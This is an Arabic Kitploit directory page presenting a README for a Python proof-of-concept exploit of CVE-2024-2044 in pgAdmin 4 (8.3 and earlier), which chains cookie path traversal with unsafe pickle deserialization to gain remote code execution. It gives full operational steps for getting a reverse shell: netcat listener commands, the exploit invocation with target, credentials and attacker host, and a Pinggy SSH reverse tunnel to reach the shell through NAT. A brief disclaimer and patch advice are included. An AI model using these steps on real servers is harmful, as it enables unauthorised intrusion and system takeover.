Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-2044 — Python PoC يستغل CVE-2024-2044 في pgAdmin 4 (<=8.3) عبر اجتياز المسار الموثق وإلغاء تسلسل pickle غير الآمن لتحقيق تنفيذ التعليمات البرمجية عن بُعد والحصول على reverse shell. | Kitploit
أدوات/GitHubGitHub/hanzzly/cve-2024-2044
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالأمن الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

Python PoC يستغل CVE-2024-2044 في pgAdmin 4 (<=8.3) عبر اجتياز المسار الموثق وإلغاء تسلسل pickle غير الآمن لتحقيق تنفيذ التعليمات البرمجية عن بُعد والحصول على reverse shell.

عرض المستودع
منذ 18س 25دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

PoC CVE-2024-2044: pgAdmin 4 Authenticated RCE (Linux/POSIX)

يحتوي هذا المستودع على نص Proof of Concept (PoC) للثغرة CVE-2024-2044، وهي ثغرة حرجة تجمع بين Authenticated Path Traversal وUnsafe Deserialization في pgAdmin 4 (الإصدار 8.3 وما دونه) الذي يعمل في بيئة Linux/POSIX.

[!WARNING] إخلاء المسؤولية: تم إنشاء هذا الكود لأغراض تعليمية وبحثية أمنية واختبار اختراق رسمي (authorized pentesting) فقط. إساءة استخدام هذا الكود لمهاجمة أهداف دون إذن كتابي تُعدّ فعلًا غير قانوني ومخالفًا للقانون.


وصف الثغرة

في pgAdmin 4 بوضع الخادم في بيئة Linux، تُخزَّن إدارة الجلسات في شكل ملفات محلية. تحدث الثغرة لأن الدالة FileBackedSessionManager.get() تستقبل قيمة من ملف تعريف HTTP pga4_session وتدمجها في مسار الدليل باستخدام os.path.join دون تعقيم أحرف التلاعب بالمسار (../).

يستغل نص PoC هذا الثغرة عبر التسلسل التالي:

  1. المصادقة: تنفيذ تسجيل دخول تلقائي باستخدام بيانات اعتماد صالحة للحصول على جلسة نشطة وتجاوز رمز CSRF.
  2. رفع الحمولة: استغلال أداة Storage Manager المدمجة لرفع كائن Python ضار يحتوي على أمر . يُخزَّن هذا الملف تحت دليل تخزين المستخدم (مثل: ).
pickle
Reverse Shell
/storage/nama_user/
  • Trigger Path Traversal: إرسال طلب HTTP مرة أخرى إلى /login مع التلاعب بملف تعريف pga4_session ليصبح مسارًا نسبيًا نحو ملف pickle المرفوع (مثل: ../storage/nama_user/file.pickle!). تُستخدم العلامة ! للتكيّف مع البحث عن امتداد ملف الجلسة في pgAdmin 4.
  • تنفيذ الكود (RCE): يُخدَع خادم pgAdmin 4 ليقرأ هذا الملف ويعالجه باستخدام pickle.loads(). ونتيجة لذلك، تنفّذ الحمولة عملية Python منفصلة (detached) ترمي Reverse Shell نحو المهاجم.

  • المتطلبات (Prerequisites)

    • الهدف: pgAdmin 4 <= 8.3 (Server Mode) يعمل على Linux/POSIX.
    • الوصول: يتطلب حساب تسجيل دخول صالح (Username & Password).
    • اعتماديات النص: Python 3 ومكتبة requests.

    دليل الاستخدام

    الخيار A: استخدام عنوان IP عام مباشر (محلي/VPN)

    1. افتح منفذ netcat على جهازك لاستقبال اتصال reverse shell:
      root@kitploit:~
      nc -lvnp 4444
      
    2. شغّل نص الاستغلال:
      root@kitploit:~
      python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
      

    الخيار B: استخدام Port Forwarding (Pinggy.io)

    إذا كان جهازك خلف NAT/Router ويحتاج إلى tunnelling عام، يمكنك استخدام خدمة Pinggy.io بالخطوات التالية:

    1. تشغيل Netcat Listener محلي

    شغّل nc على الجهاز المحلي أولًا باستخدام المنفذ الذي تختاره (مثل: المنفذ 1337):

    root@kitploit:~
    nc -lvnp 1337
    

    2. تشغيل Pinggy Tunnel

    افتح نافذة طرفية جديدة، ثم شغّل أمر SSH الخاص بـ Pinggy. تأكد من أن المنفذ المحلي في النهاية (1337) مطابق لمنفذ nc الذي شغّلته سابقًا:

    root@kitploit:~
    ssh -p 443 -R0:localhost:1337 [email protected]
    

    بعد الاتصال، سيمنحك Pinggy عنوان URL عام TCP، على سبيل المثال: tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

    ملاحظة: المنفذ العام الذي تم الحصول عليه من Pinggy هو 43143 (وهذا ما سيصبح لاحقًا -lport).

    3. البحث عن IP الأصلي لـ Pinggy (الحصول على LHOST)

    يحتاج خادم pgAdmin 4 الهدف إلى تنسيق عنوان IP الأصلي لاتصال socket الخاص بـ reverse shell. نفّذ nslookup على النطاق من عنوان URL الخاص بـ Pinggy:

    root@kitploit:~
    nslookup ubylm-103-79-246-198.run.pinggy-free.link
    

    سيعرض المخرجات عنوان IP العام لخادم Pinggy (اختر IPv4 في قسم Address في الأعلى):

    root@kitploit:~
    Non-authoritative answer:
    ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
    Name:   lin.ap.12.a.pinggy.click
    Address: 172.236.148.125
    

    من المخرجات أعلاه، تم الحصول على IP الأصلي لـ Pinggy: 172.236.148.125.

    image

    4. تشغيل نص الاستغلال

    شغّل نص PoC مع إدخال IP الناتج من nslookup كـ -lhost والمنفذ العام لـ Pinggy كـ -lport:

    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
    
    image
    image

    معاملات خيارات النص

    • -t, --target : عنوان URL الهدف pgAdmin 4 (إلزامي).
    • -u, --username: البريد الإلكتروني/اسم المستخدم لتسجيل الدخول (الافتراضي: [email protected]).
    • -p, --password: كلمة مرور تسجيل الدخول (الافتراضي: player123).
    • -lhost : عنوان IP للمهاجم / IP الناتج من nslookup الخاص بـ Pinggy (إلزامي).
    • -lport : منفذ listener الخاص بالمهاجم / المنفذ العام لـ Pinggy (إلزامي).

    التخفيف

    تم إصلاح هذه الثغرة في pgAdmin 4 الإصدار 8.4. إذا كنت تدير خادمًا معرّضًا للثغرة، فاتخذ الإجراءات التالية فورًا:

    1. حدّث pgAdmin 4 إلى الإصدار 8.4 أو أحدث.
    2. قيّد الوصول الشبكي إلى لوحة pgAdmin 4 باستخدام VPN أو Firewall Whitelist.
    3. تأكد من تشغيل عملية pgAdmin 4 بصلاحيات مستخدم عادي (non-root).
    تنزيل الأداة